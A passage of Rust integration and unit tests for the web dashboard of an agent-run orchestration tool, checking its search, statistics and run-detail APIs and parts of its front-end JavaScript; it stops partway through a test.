13136 let runs = f.runs();
13137 for n in 0..(SEARCH_MAX_HITS + 5) {
13138 write_run(&runs, &format!("20260902-140501-{n:04}"), RunStatus::Merged);
13139 }
13140 let v = f.get("/api/search?scope=runs&q=web").await.json();
13141 assert_eq!(v["hits"].as_array().unwrap().len(), SEARCH_MAX_HITS);
13142 assert_eq!(v["total"], SEARCH_MAX_HITS + 5);
13143 assert_eq!(v["truncated"], true);
13144 assert!(
13146 v["hits"]
13147 .as_array()
13148 .unwrap()
13149 .iter()
13150 .all(|h| h["run"]["status"] == "merged")
13151 );
13152
13153 let long = format!("{}needle{}", "x".repeat(5000), "y".repeat(5000));
13154 let parts = snippet_of(&long, &["needle".to_owned()]);
13155 let len: usize = parts.iter().map(|p| p.text.chars().count()).sum();
13156 assert!(len <= SNIPPET_BEFORE + SNIPPET_AFTER + 2, "{len}");
13157 assert!(parts.iter().any(|p| p.hit && p.text == "needle"));
13158 }
13159
13160 #[tokio::test]
13161 async fn search_tasks_reads_every_field_and_rejects_bad_requests() {
13162 let f = Fixture::start().await;
13163 let queue = f.queue();
13164 let mut t = Task::new(
13165 "short title".to_owned(),
13166 "line one\nthe hidden Armadillo detail".to_owned(),
13167 PathBuf::from("/repo/magi"),
13168 Source::Agent {
13169 run: "r1".to_owned(),
13170 node: "chat".to_owned(),
13171 },
13172 );
13173 t.last_error = Some("disk full on /tmp".to_owned());
13174 queue.put(&mut t).expect("file the task");
13175
13176 for (q, want) in [
13177 ("armadillo", 1),
13178 ("disk%20FULL", 1),
13179 ("chat", 1),
13180 ("queued", 1),
13181 ("short%20nothing", 0),
13182 ] {
13183 let v = f
13184 .get(&format!("/api/search?scope=tasks&q={q}"))
13185 .await
13186 .json();
13187 assert_eq!(v["total"], want, "{q}: {v}");
13188 }
13189 for bad in [
13190 "/api/search?scope=tasks&q=",
13191 "/api/search?scope=tasks&q=%20",
13192 "/api/search?scope=chats&q=",
13193 "/api/search?scope=chats&q=%20",
13194 "/api/search?scope=nope&q=a",
13195 "/api/search?q=a",
13196 ] {
13197 assert_eq!(f.get(bad).await.status, 400, "{bad}");
13198 }
13199 }
13200
13201 fn write_talk(f: &Fixture, id: &str, status: &str, turns: &[(&str, &str)]) {
13203 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "claude", 1))
13204 .expect("seat value");
13205 let turns: Vec<serde_json::Value> = turns
13206 .iter()
13207 .map(|(who, body)| {
13208 serde_json::json!({"who": who, "body": body, "at": "2026-09-01T00:00:00Z"})
13209 })
13210 .collect();
13211 let doc = serde_json::json!({
13212 "schema": 1, "id": id, "repo": "/SecretRepoPath", "agent": "claude-agent",
13213 "status": status, "turns": turns,
13214 "created_at": "2026-09-01T00:00:00Z", "updated_at": "2026-09-01T00:00:00Z",
13215 "seat": seat,
13216 });
13217 let dir = f.home.path().join("talks");
13218 std::fs::create_dir_all(&dir).expect("talks dir");
13219 std::fs::write(dir.join(format!("{id}.json")), doc.to_string()).expect("write talk");
13220 }
13221
13222 #[tokio::test]
13223 async fn search_chats_reads_title_and_turns_and_counts_unreadable() {
13224 let f = Fixture::start().await;
13225 write_talk(
13226 &f,
13227 "20260901-000001-aaaa",
13228 "open",
13229 &[
13230 (
13231 "operator",
13232 "\n Why does the Pangolin cache expire?\nsecond line",
13233 ),
13234 ("agent", "Because the TTL is thirty seconds."),
13235 ],
13236 );
13237 write_talk(
13238 &f,
13239 "20260901-000002-bbbb",
13240 "closed",
13241 &[("operator", "unrelated"), ("agent", "The Zebra moved on.")],
13242 );
13243 std::fs::write(f.home.path().join("talks/broken.json"), "{ nope").expect("broken");
13244
13245 let search = |q: &'static str| {
13246 let f = &f;
13247 async move {
13248 f.get(&format!("/api/search?scope=chats&q={q}"))
13249 .await
13250 .json()
13251 }
13252 };
13253
13254 let v = search("PANGOLIN").await;
13255 assert_eq!(v["scope"], "chats");
13256 assert_eq!(v["total"], 1, "{v}");
13257 assert_eq!(v["hits"][0]["id"], "20260901-000001-aaaa");
13258 assert_eq!(v["hits"][0]["field"], "title");
13259 assert_eq!(v["unreadable"], 1, "{v}");
13260 let marked: Vec<&str> = v["hits"][0]["snippet"]
13261 .as_array()
13262 .unwrap()
13263 .iter()
13264 .filter(|p| p["hit"] == true)
13265 .map(|p| p["text"].as_str().unwrap())
13266 .collect();
13267 assert_eq!(marked, ["Pangolin"]);
13268
13269 let v = search("zebra").await;
13271 assert_eq!(v["total"], 1, "{v}");
13272 assert_eq!(v["hits"][0]["field"], "agent");
13273 assert_eq!(search("pangolin%20thirty").await["total"], 1);
13275 assert_eq!(search("pangolin%20zebra").await["total"], 0);
13276 for q in ["claude-agent", "SecretRepoPath", "open", "closed"] {
13278 assert_eq!(search(q).await["total"], 0, "{q}");
13279 }
13280 assert_eq!(search("second").await["hits"][0]["field"], "operator");
13282 assert_eq!(search("the").await["hits"][0]["id"], "20260901-000001-aaaa");
13284
13285 let v = f.get("/api/search?scope=nope&q=a").await;
13286 assert_eq!(v.status, 400);
13287 assert!(
13288 v.body.contains("scope must be runs, tasks or chats"),
13289 "{}",
13290 v.body
13291 );
13292 }
13293
13294 #[test]
13295 fn a_question_card_links_a_task_id_to_the_task_page() {
13296 let start = APP_JS
13297 .find("function updateAskCard(")
13298 .expect("updateAskCard exists");
13299 let body = &APP_JS[start..];
13300 let body = &body[..body.find("\n}\n").expect("function end")];
13301 assert!(body.contains("question.run_is_task"));
13302 assert!(body.contains("`#/tasks/${encodeURIComponent(question.run)}`"));
13303 assert!(body.contains("`#/runs/${question.run}`"));
13304 assert!(body.contains("\"task\" : \"run\""));
13305 }
13306
13307 #[test]
13308 fn plain_text_message_surfaces_go_through_linkify() {
13309 assert!(APP_JS.contains("function linkify("));
13310 assert!(!APP_JS.contains("class: \"event-msg\", text:"));
13311 assert!(!APP_JS.contains("class: \"notice-msg\", text:"));
13312 assert!(APP_JS.contains("linkify(el(\"span\", { class: \"event-msg\" })"));
13313 assert!(APP_JS.contains("linkify(el(\"div\", { class: \"notice-msg\" })"));
13314 assert!(!APP_JS.contains("innerHTML = text"));
13315 }
13316
13317 #[test]
13318 fn implementation_rate_views_keep_independent_samples() {
13319 for (competitive_n, solo_n) in [(0, 0), (9, 10), (10, 9)] {
13320 let a = stats::AgentStats {
13321 competitive_entered: competitive_n,
13322 competitive_wins: usize::from(competitive_n > 0),
13323 solo_entered: solo_n,
13324 solo_adopted: 2 * usize::from(solo_n > 0),
13325 ..Default::default()
13326 };
13327 let v = serde_json::to_value(AgentStatsView::from(&a)).unwrap();
13328 for (key, n, numerator) in [
13329 ("competitive_win_rate", competitive_n, a.competitive_wins),
13330 ("solo_adoption_rate", solo_n, a.solo_adopted),
13331 ] {
13332 if n == 0 {
13333 assert!(v[key].is_null());
13334 } else {
13335 assert_eq!(v[key]["denominator"], n);
13336 assert_eq!(v[key]["pct"], 100.0 * numerator as f64 / n as f64);
13337 }
13338 }
13339 }
13340 assert!(APP_JS.contains("rate: a.competitive_win_rate"));
13341 assert!(APP_JS.contains("rate: a.solo_adoption_rate"));
13342 assert!(APP_JS.contains("r.rate.denominator < STATS_LOW_N"));
13343 assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
13344 }
13345
13346 #[test]
13347 fn stats_bars_share_one_id_keyed_plan() {
13348 let start = APP_JS
13349 .find("function statsBarRows(")
13350 .expect("statsBarRows exists");
13351 let body = &APP_JS[start..];
13352 let body = &body[..body.find("\n}\n").expect("function end")];
13353 assert!(body.contains("statsBarPlan(rows)"));
13354 assert!(body.contains("statsAgentTone(row.agent)"));
13355 assert!(!body.contains("candTone(i)"));
13356 assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
13357 for root in [
13358 "stats-agents-bars",
13359 "stats-solo-bars",
13360 "stats-reviewers-bars",
13361 ] {
13362 assert!(APP_JS.contains(&format!("statsBarRows($(\"{root}\")")));
13363 }
13364 }
13365
13366 #[test]
13367 fn the_precision_scatter_is_a_pure_plan_in_the_agents_colour() {
13368 let start = APP_JS
13369 .find("function renderStatsReviewerScatter(")
13370 .expect("renderStatsReviewerScatter exists");
13371 let body = &APP_JS[start..];
13372 let body = &body[..body.find("\n}\n").expect("function end")];
13373 assert!(body.contains("statsScatterPlan(reviewers)"));
13374 assert!(body.contains("statsAgentTone(d.agent)"));
13375 assert!(APP_JS.contains("function statsScatterPlan("));
13376 assert!(
13377 APP_JS.contains("d.submitted < STATS_LOW_N")
13378 || APP_JS.contains("r.submitted < STATS_LOW_N")
13379 );
13380 assert!(INDEX_HTML.contains("id=\"stats-reviewers-scatter\""));
13381 assert!(APP_CSS.contains(".precision-scatter"));
13382 }
13383
13384 #[test]
13385 fn advisor_reflection_is_drawn_as_stacked_segments() {
13386 assert!(APP_JS.contains("statsReflectionRows($(\"stats-advisors-bars\")"));
13387 assert!(APP_JS.contains("const STATS_SEG_MIN = 4;"));
13388 let html = include_str!("../assets/ui/index.html");
13389 assert!(html.contains("Approximate"));
13390 for label in ["reflected strongly", "faint", "no proposal"] {
13391 assert!(html.contains(label));
13392 }
13393 let css = include_str!("../assets/ui/app.css");
13394 for c in ["refl-strong", "refl-faint", "refl-absent"] {
13395 assert!(css.contains(&format!(".{c} {{")));
13396 }
13397 }
13398
13399 #[test]
13400 fn stats_daily_chart_is_planned_purely_and_rendered_from_the_api() {
13401 assert!(APP_JS.contains("function statsDailyPlan("));
13402 assert!(APP_JS.contains("renderStatsDaily(s.daily)"));
13403 assert!(INDEX_HTML.contains("id=\"stats-daily\""));
13404 }
13405
13406 #[test]
13407 fn a_keystroke_invalidates_the_search_reply_still_in_flight() {
13408 let start = APP_JS
13409 .find("function scheduleSearch(")
13410 .expect("scheduleSearch exists");
13411 let body = &APP_JS[start..];
13412 let body = &body[..body.find("\n}\n").expect("function end")];
13413 assert!(body.contains("s.seq += 1"));
13414 }
13415
13416 #[tokio::test]
13421 async fn stats_runs_unreadable_matches_health() {
13422 let f = Fixture::start().await;
13423 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
13424 let broken = f.runs().join("20260902-140502-bad");
13425 std::fs::create_dir_all(&broken).expect("run dir");
13426 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
13427
13428 let stats = f.get("/api/stats").await;
13429 let health = f.get("/api/health").await;
13430
13431 assert_eq!(stats.status, 200);
13432 assert_eq!(stats.json()["totals"]["runs"], 1);
13433 assert_eq!(stats.json()["runs_unreadable"], 1);
13434 assert_eq!(
13435 stats.json()["runs_unreadable"],
13436 health.json()["runs_unreadable"],
13437 "the dashboard and /api/health must never disagree about how many \
13438 runs could not be read"
13439 );
13440 }
13441
13442 #[tokio::test]
13443 async fn stats_verdict_breakdown_covers_stalled_and_in_progress_runs() {
13444 let f = Fixture::start().await;
13445 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
13446 write_run(&f.runs(), "20260902-140502-b", RunStatus::Stalled);
13447 write_run(&f.runs(), "20260902-140503-c", RunStatus::Implementing);
13448
13449 let totals = &f.get("/api/stats").await.json()["totals"];
13450 assert_eq!(totals["runs"], 3);
13451 assert_eq!(totals["merged"], 1);
13452 assert_eq!(totals["stalled"], 1);
13453 assert_eq!(totals["in_progress"], 1);
13454 assert_eq!(totals["blocked"], 0);
13457 assert_eq!(totals["ready"], 0);
13458 }
13459
13460 #[tokio::test]
13461 async fn stats_advisors_report_proposals_and_reflection() {
13462 use crate::advise::{Advice, AdvisorRecord, Reflection};
13463 use crate::verdict::Proposal;
13464
13465 let f = Fixture::start().await;
13466 let mut state = RunState::new(
13467 PathBuf::from("/repo/magi"),
13468 "main".to_owned(),
13469 "0123456789abcdef".to_owned(),
13470 "task".to_owned(),
13471 Config::default(),
13472 );
13473 state.id = "20260902-140501-a".to_owned();
13474 state.status = RunStatus::Merged;
13475 state.advice = Some(Advice {
13476 records: vec![
13477 AdvisorRecord {
13478 seat: "advisor-1".to_owned(),
13479 agent: "alpha".to_owned(),
13480 proposal: Some(Proposal {
13481 approach: "do it".to_owned(),
13482 key_tradeoff: "speed over memory".to_owned(),
13483 risks: Vec::new(),
13484 touches: Vec::new(),
13485 why_not_naive: "breaks under load".to_owned(),
13486 }),
13487 error: None,
13488 duration_ms: 0,
13489 reflection: Reflection::Strong,
13490 },
13491 AdvisorRecord {
13492 seat: "advisor-2".to_owned(),
13493 agent: "alpha".to_owned(),
13494 proposal: None,
13495 error: Some("timed out".to_owned()),
13496 duration_ms: 0,
13497 reflection: Reflection::Absent,
13498 },
13499 ],
13500 synthesis: Some("blended brief".to_owned()),
13501 });
13502 let dir = f.runs().join(&state.id);
13503 std::fs::create_dir_all(&dir).expect("run dir");
13504 std::fs::write(
13505 dir.join("run.json"),
13506 serde_json::to_string_pretty(&state).expect("serialize run"),
13507 )
13508 .expect("write run.json");
13509
13510 let advisors = f.get("/api/stats?all=true").await.json()["advisors"].clone();
13512 let alpha = advisors
13513 .as_array()
13514 .expect("an array")
13515 .iter()
13516 .find(|a| a["agent"] == "alpha")
13517 .expect("alpha row");
13518 assert_eq!(alpha["seated"], 2);
13519 assert_eq!(alpha["proposed"], 1);
13520 assert_eq!(alpha["absent"], 1);
13521 assert_eq!(alpha["strong"], 1);
13522 assert_eq!(alpha["faint"], 0);
13523 assert_eq!(alpha["reflection_rate"]["pct"], 100.0);
13524 }
13525
13526 #[tokio::test]
13527 async fn stats_hides_agents_outside_the_roster_unless_all() {
13528 use crate::run::Candidate;
13529 let repo = TempDir::new().expect("repo dir");
13530 std::fs::write(
13531 repo.path().join("magi.toml"),
13532 "[[agents]]\nid = \"keep\"\nkind = \"claude\"\n",
13533 )
13534 .expect("magi.toml");
13535 let f = Fixture::with_repo(repo.path().to_path_buf()).await;
13536 let mut state = RunState::new(
13537 PathBuf::from("/repo/magi"),
13538 "main".to_owned(),
13539 "0123456789abcdef".to_owned(),
13540 "task".to_owned(),
13541 Config::default(),
13542 );
13543 state.id = "20260902-140501-a".to_owned();
13544 state.status = RunStatus::Merged;
13545 for (label, agent) in [('A', "keep"), ('B', "retired")] {
13546 let mut c: Candidate = serde_json::from_value(serde_json::json!({
13547 "index": 0, "label": label.to_string(), "agent": agent,
13548 "branch": "b", "worktree": "/w",
13549 }))
13550 .expect("candidate");
13551 c.label = label;
13552 state.candidates.push(c);
13553 }
13554 let dir = f.runs().join(&state.id);
13555 std::fs::create_dir_all(&dir).expect("run dir");
13556 std::fs::write(
13557 dir.join("run.json"),
13558 serde_json::to_string_pretty(&state).expect("serialize run"),
13559 )
13560 .expect("write run.json");
13561
13562 let agents_of = |v: &serde_json::Value| -> Vec<String> {
13563 v["agents"]
13564 .as_array()
13565 .expect("array")
13566 .iter()
13567 .map(|a| a["agent"].as_str().unwrap().to_owned())
13568 .collect()
13569 };
13570 let hidden = f.get("/api/stats").await.json();
13571 assert_eq!(agents_of(&hidden), ["keep"]);
13572 assert_eq!(hidden["retired_hidden"], serde_json::json!(["retired"]));
13573 assert_eq!(hidden["totals"]["runs"], 1);
13574
13575 let all = f.get("/api/stats?all=true").await.json();
13576 assert_eq!(agents_of(&all).len(), 2);
13577 assert_eq!(all["retired_hidden"], serde_json::json!([]));
13578 let keep_agent = all["agents"]
13580 .as_array()
13581 .unwrap()
13582 .iter()
13583 .find(|a| a["agent"] == "keep")
13584 .unwrap();
13585 assert_eq!(keep_agent["competitive_entered"], 1);
13586 assert_eq!(keep_agent["competitive_wins"], 0);
13587 assert_eq!(keep_agent["competitive_win_rate"]["pct"], 0.0);
13588 assert_eq!(keep_agent["solo_entered"], 0);
13589 assert_eq!(keep_agent["solo_adopted"], 0);
13590 assert!(keep_agent["solo_adoption_rate"].is_null());
13591 }
13592
13593 #[tokio::test]
13594 async fn stats_release_bumps_split_clean_from_attention() {
13595 use crate::run::ReleaseBump;
13596
13597 let f = Fixture::start().await;
13598
13599 let mut clean = RunState::new(
13600 PathBuf::from("/repo/magi"),
13601 "main".to_owned(),
13602 "0123456789abcdef".to_owned(),
13603 "task".to_owned(),
13604 Config::default(),
13605 );
13606 clean.id = "20260902-140501-a".to_owned();
13607 clean.status = RunStatus::Merged;
13608 clean.release_bump = Some(ReleaseBump {
13609 pr_url: Some("https://github.com/o/r/pull/1".to_owned()),
13610 version: Some("1.0.0".to_owned()),
13611 automerge_enabled: true,
13612 merged_directly: false,
13613 local: false,
13614 release: None,
13615 problem: None,
13616 action_required: None,
13617 });
13618
13619 let mut blocked = RunState::new(
13620 PathBuf::from("/repo/magi"),
13621 "main".to_owned(),
13622 "0123456789abcdef".to_owned(),
13623 "task".to_owned(),
13624 Config::default(),
13625 );
13626 blocked.id = "20260902-140502-b".to_owned();
13627 blocked.status = RunStatus::Merged;
13628 blocked.release_bump = Some(ReleaseBump {
13629 pr_url: Some("https://github.com/o/r/pull/2".to_owned()),
13630 version: Some("1.0.1".to_owned()),
13631 automerge_enabled: false,
13632 merged_directly: false,
13633 local: false,
13634 release: None,
13635 problem: Some("checks red".to_owned()),
13636 action_required: Some("look at the PR".to_owned()),
13637 });
13638
13639 for state in [&clean, &blocked] {
13640 let dir = f.runs().join(&state.id);
13641 std::fs::create_dir_all(&dir).expect("run dir");
13642 std::fs::write(
13643 dir.join("run.json"),
13644 serde_json::to_string_pretty(state).expect("serialize run"),
13645 )
13646 .expect("write run.json");
13647 }
13648
13649 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
13650 assert_eq!(bumps["merged"], 2);
13651 assert_eq!(bumps["recorded"], 2);
13652 assert_eq!(bumps["pr_opened"], 2);
13653 assert_eq!(bumps["automerge_enabled"], 1);
13654 assert_eq!(bumps["needs_attention"], 1);
13655 assert_eq!(bumps["clean"], 1);
13656 assert_eq!(bumps["coverage_rate"]["pct"], 100.0);
13657 assert_eq!(bumps["attention_rate"]["pct"], 50.0);
13658 }
13659
13660 #[tokio::test]
13661 async fn stats_release_bumps_rates_are_null_with_nothing_recorded() {
13662 let f = Fixture::start().await;
13663 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
13664
13665 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
13666 assert_eq!(bumps["merged"], 1);
13667 assert_eq!(bumps["recorded"], 0);
13668 assert_eq!(bumps["coverage_rate"]["pct"], 0.0);
13671 assert_eq!(bumps["automerge_rate"], Value::Null);
13674 assert_eq!(bumps["attention_rate"], Value::Null);
13675 }
13676
13677 #[tokio::test]
13678 async fn stats_queue_counts_come_from_the_live_queue() {
13679 let f = Fixture::start().await;
13680 let q = f.queue();
13681 let mut queued = Task::new(
13682 "queued task".to_owned(),
13683 "do it".to_owned(),
13684 PathBuf::from("/repo"),
13685 Source::Human,
13686 );
13687 q.put(&mut queued).expect("put queued");
13688 let mut held = Task::new(
13689 "held task".to_owned(),
13690 "do it later".to_owned(),
13691 PathBuf::from("/repo"),
13692 Source::Human,
13693 );
13694 held.hold_machine(Some("out of attempts".to_owned()));
13695 q.put(&mut held).expect("put held");
13696
13697 let queue = f.get("/api/stats").await.json()["queue"].clone();
13698 assert_eq!(queue["queued"], 1);
13699 assert_eq!(queue["held"], 1);
13700 assert_eq!(queue["running"], 0);
13701 assert_eq!(queue["done"], 0);
13702 assert_eq!(queue["failed"], 0);
13703 assert_eq!(queue["blocked"], 0);
13704 }
13705
13706 #[tokio::test]
13707 async fn stats_on_an_empty_home_is_all_zero_not_an_error() {
13708 let f = Fixture::start().await;
13709 let stats = f.get("/api/stats").await;
13710 assert_eq!(stats.status, 200);
13711 assert_eq!(stats.json()["totals"]["runs"], 0);
13712 assert_eq!(stats.json()["totals"]["completion_rate"], Value::Null);
13713 assert_eq!(stats.json()["runs_unreadable"], 0);
13714 assert!(stats.json()["agents"].as_array().unwrap().is_empty());
13715 assert!(stats.json()["advisors"].as_array().unwrap().is_empty());
13716 assert!(stats.json()["repos"].as_array().unwrap().is_empty());
13717 assert_eq!(stats.json()["repo"], Value::Null);
13718 }
13719
13720 #[tokio::test]
13721 async fn stats_lists_every_repository_with_runs_recorded() {
13722 let f = Fixture::start().await;
13723 write_run_repo(
13724 &f.runs(),
13725 "20260902-140501-a",
13726 RunStatus::Merged,
13727 "/repos/a",
13728 );
13729 write_run_repo(
13730 &f.runs(),
13731 "20260902-140502-b",
13732 RunStatus::Merged,
13733 "/repos/a",
13734 );
13735 write_run_repo(
13736 &f.runs(),
13737 "20260902-140503-c",
13738 RunStatus::Blocked,
13739 "/repos/b",
13740 );
13741
13742 let stats = f.get("/api/stats").await;
13743 assert_eq!(stats.status, 200);
13744 assert_eq!(stats.json()["totals"]["runs"], 3);
13746 assert_eq!(stats.json()["repo"], Value::Null);
13747
13748 let repos = stats.json()["repos"].clone();
13749 let repos = repos.as_array().unwrap();
13750 assert_eq!(repos.len(), 2);
13751 assert_eq!(repos[0]["repo"], "/repos/a");
13753 assert_eq!(repos[0]["name"], "a");
13754 assert_eq!(repos[0]["runs"], 2);
13755 assert_eq!(repos[1]["repo"], "/repos/b");
13756 assert_eq!(repos[1]["runs"], 1);
13757 }
13758
13759 #[tokio::test]
13760 async fn stats_repo_query_narrows_the_aggregate_to_one_repository() {
13761 let f = Fixture::start().await;
13762 write_run_repo(
13763 &f.runs(),
13764 "20260902-140501-a",
13765 RunStatus::Merged,
13766 "/repos/a",
13767 );
13768 write_run_repo(
13769 &f.runs(),
13770 "20260902-140502-b",
13771 RunStatus::Blocked,
13772 "/repos/b",
13773 );
13774
13775 let stats = f.get("/api/stats?repo=%2Frepos%2Fa").await;
13776 assert_eq!(stats.status, 200);
13777 assert_eq!(stats.json()["totals"]["runs"], 1);
13778 assert_eq!(stats.json()["totals"]["merged"], 1);
13779 assert_eq!(stats.json()["repo"], "/repos/a");
13780 assert_eq!(stats.json()["repos"].as_array().unwrap().len(), 2);
13783 assert_eq!(stats.json()["runs_unreadable"], 0);
13786 }
13787
13788 #[tokio::test]
13789 async fn stats_daily_is_thirty_ascending_days_scoped_by_repo() {
13790 let f = Fixture::start().await;
13791 write_run_repo(
13792 &f.runs(),
13793 "20260902-140501-a",
13794 RunStatus::Merged,
13795 "/repos/a",
13796 );
13797 write_run_repo(
13798 &f.runs(),
13799 "20260902-140502-b",
13800 RunStatus::Merged,
13801 "/repos/b",
13802 );
13803
13804 for uri in ["/api/stats", "/api/stats?repo=%2Frepos%2Fa"] {
13805 let json = f.get(uri).await.json();
13806 let daily = json["daily"].as_array().expect("daily is an array");
13807 assert_eq!(daily.len(), 30);
13808 let dates: Vec<&str> = daily.iter().map(|d| d["date"].as_str().unwrap()).collect();
13809 let mut sorted = dates.clone();
13810 sorted.sort();
13811 assert_eq!(dates, sorted);
13812 for d in daily {
13813 assert_eq!(
13814 d["merged"].as_u64().unwrap()
13815 + d["ready"].as_u64().unwrap()
13816 + d["other"].as_u64().unwrap(),
13817 d["runs"].as_u64().unwrap()
13818 );
13819 }
13820 assert!(json["totals"]["runs"].as_u64().unwrap() >= 1);
13821 }
13822 }
13823
13824 #[tokio::test]
13825 async fn stats_repo_query_for_an_unknown_repo_is_a_404() {
13826 let f = Fixture::start().await;
13827 write_run_repo(
13828 &f.runs(),
13829 "20260902-140501-a",
13830 RunStatus::Merged,
13831 "/repos/a",
13832 );
13833
13834 let stats = f.get("/api/stats?repo=%2Frepos%2Fnope").await;
13835 assert_eq!(stats.status, 404);
13836 }
13837
13838 #[tokio::test]
13839 async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
13840 let f = Fixture::start().await;
13841 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
13842
13843 let summary = f.get("/api/runs").await.json();
13844 let row = &summary[0];
13845 assert_eq!(row["short"], "a1b2");
13846 assert_eq!(row["status"], "ready");
13847 assert_eq!(row["done"], true);
13848 assert_eq!(row["title"], "Add a web UI");
13849 assert_eq!(row["repo_name"], "magi");
13850 assert_eq!(row["judges"], 3);
13851 assert_eq!(row["winner"], Value::Null);
13852 assert_eq!(row["reviews"], 0);
13853
13854 let detail = f.get("/api/runs/a1b2").await;
13857 assert_eq!(detail.status, 200);
13858 assert_eq!(detail.json()["base_branch"], "main");
13859 assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
13860 }
13861
13862 #[tokio::test]
13870 async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
13871 let f = Fixture::start().await;
13872
13873 let mut none_run = RunState::new(
13874 PathBuf::from("/repo/magi"),
13875 "main".to_owned(),
13876 "0123456789abcdef".to_owned(),
13877 "Add a web UI".to_owned(),
13878 Config::default(),
13879 );
13880 none_run.id = "20260902-140503-none".to_owned();
13881 none_run.status = RunStatus::Ready;
13882 none_run.merge = Some(crate::run::MergeOutcome {
13883 mode: crate::config::MergeMode::None,
13884 ok: true,
13885 detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
13886 empty: false,
13887 });
13888 write_state(&f.runs(), &none_run);
13889
13890 let mut pr_run = RunState::new(
13891 PathBuf::from("/repo/magi"),
13892 "main".to_owned(),
13893 "0123456789abcdef".to_owned(),
13894 "Add a web UI".to_owned(),
13895 Config::default(),
13896 );
13897 pr_run.id = "20260902-140504-prcl".to_owned();
13898 pr_run.status = RunStatus::Ready;
13899 pr_run.merge = Some(crate::run::MergeOutcome {
13900 mode: crate::config::MergeMode::Pr,
13901 ok: false,
13902 detail: "https://example.com/pr/1 was closed without merging".to_owned(),
13903 empty: false,
13904 });
13905 write_state(&f.runs(), &pr_run);
13906
13907 let summary = f.get("/api/runs").await.json();
13908 let rows: std::collections::HashMap<&str, &Value> = summary
13909 .as_array()
13910 .expect("an array")
13911 .iter()
13912 .map(|r| (r["id"].as_str().expect("an id"), r))
13913 .collect();
13914 assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
13915 assert_eq!(
13916 rows[none_run.id.as_str()]["unmerged_by_design"],
13917 true,
13918 "a mode-none Ready must be flagged in the list"
13919 );
13920 assert_eq!(
13921 rows[pr_run.id.as_str()]["unmerged_by_design"],
13922 false,
13923 "a Ready reached by a closed pull request is a different case"
13924 );
13925
13926 let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
13927 assert_eq!(none_detail["status"], "ready");
13928 assert_eq!(none_detail["unmerged_by_design"], true);
13929
13930 let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
13931 assert_eq!(pr_detail["unmerged_by_design"], false);
13932 }
13933
13934 #[tokio::test]
13939 async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
13940 let f = Fixture::start().await;
13941 let id = "20260902-140502-bbbb";
13945 let mut state = RunState::new(
13946 PathBuf::from("/repo/magi"),
13947 "main".to_owned(),
13948 "0123456789abcdef".to_owned(),
13949 "Add a web UI".to_owned(),
13950 Config::default(),
13951 );
13952 state.id = id.to_owned();
13953 state.status = RunStatus::Judging;
13954 state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
13955 let dir = f.runs().join(id);
13956 std::fs::create_dir_all(&dir).expect("run dir");
13957 std::fs::write(
13958 dir.join("run.json"),
13959 serde_json::to_string_pretty(&state).expect("serialize run"),
13960 )
13961 .expect("write run.json");
13962
13963 let cold = f.get(&format!("/api/runs/{id}")).await.json();
13969 assert_eq!(cold["active"]["judge-2"]["node"], "judge");
13970 assert_eq!(cold["live"], "unknown", "{cold}");
13971
13972 write_daemon(f.home.path(), Timestamp::now());
13975 let warm = f.get(&format!("/api/runs/{id}")).await.json();
13976 assert_eq!(warm["live"], "live", "{warm}");
13977 }
13978
13979 #[tokio::test]
13982 async fn run_detail_shows_the_origin_and_reads_a_pre_origin_run_as_unknown() {
13983 let f = Fixture::start().await;
13984 let write = |id: &str, origin: Option<crate::run::Origin>, schema: Option<u32>| {
13985 let mut state = RunState::new(
13986 PathBuf::from("/repo/magi"),
13987 "main".to_owned(),
13988 "0123456789abcdef".to_owned(),
13989 "Add a web UI".to_owned(),
13990 Config::default(),
13991 );
13992 state.id = id.to_owned();
13993 state.origin = origin;
13994 let mut value = serde_json::to_value(&state).expect("serialize run");
13995 if let Some(schema) = schema {
13996 value["schema"] = serde_json::json!(schema);
13997 value.as_object_mut().unwrap().remove("origin");
13998 }
13999 let dir = f.runs().join(id);
14000 std::fs::create_dir_all(&dir).expect("run dir");
14001 std::fs::write(dir.join("run.json"), value.to_string()).expect("write run.json");
14002 };
14003 write(
14004 "20260930-092817-ec34",
14005 Some(crate::run::Origin::from_agent_env(
14006 Some(("4a7b".to_owned(), "chat".to_owned())),
14007 None,
14008 )),
14009 None,
14010 );
14011 write("20260930-092817-0ld1", None, Some(12));
14012
14013 let new = f.get("/api/runs/20260930-092817-ec34").await.json();
14014 assert_eq!(new["origin_label"], "chat 4a7b", "{new}");
14015 assert_eq!(new["origin"]["by"]["kind"], "chat", "{new}");
14016
14017 let old = f.get("/api/runs/20260930-092817-0ld1").await.json();
14018 assert_eq!(
14019 old["origin_label"], "origin unknown (started before origins were recorded)",
14020 "{old}"
14021 );
14022 assert!(old["origin"].is_null(), "{old}");
14023
14024 let list = f.get("/api/runs").await.json();
14025 let labels: Vec<_> = list
14026 .as_array()
14027 .unwrap()
14028 .iter()
14029 .map(|r| r["origin_label"].as_str().unwrap().to_owned())
14030 .collect();
14031 assert!(labels.contains(&"chat 4a7b".to_owned()), "{list}");
14032 }
14033
14034 #[tokio::test]
14041 async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
14042 let f = Fixture::start().await;
14043 let id = "20260922-090000-cccc";
14044 let mut state = RunState::new(
14045 PathBuf::from("/repo/magi"),
14046 "main".to_owned(),
14047 "0123456789abcdef".to_owned(),
14048 "Review only".to_owned(),
14049 Config::default(),
14050 );
14051 state.id = id.to_owned();
14052 state.status = RunStatus::Reviewing;
14053 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
14054 state.driver_pid = Some(std::process::id());
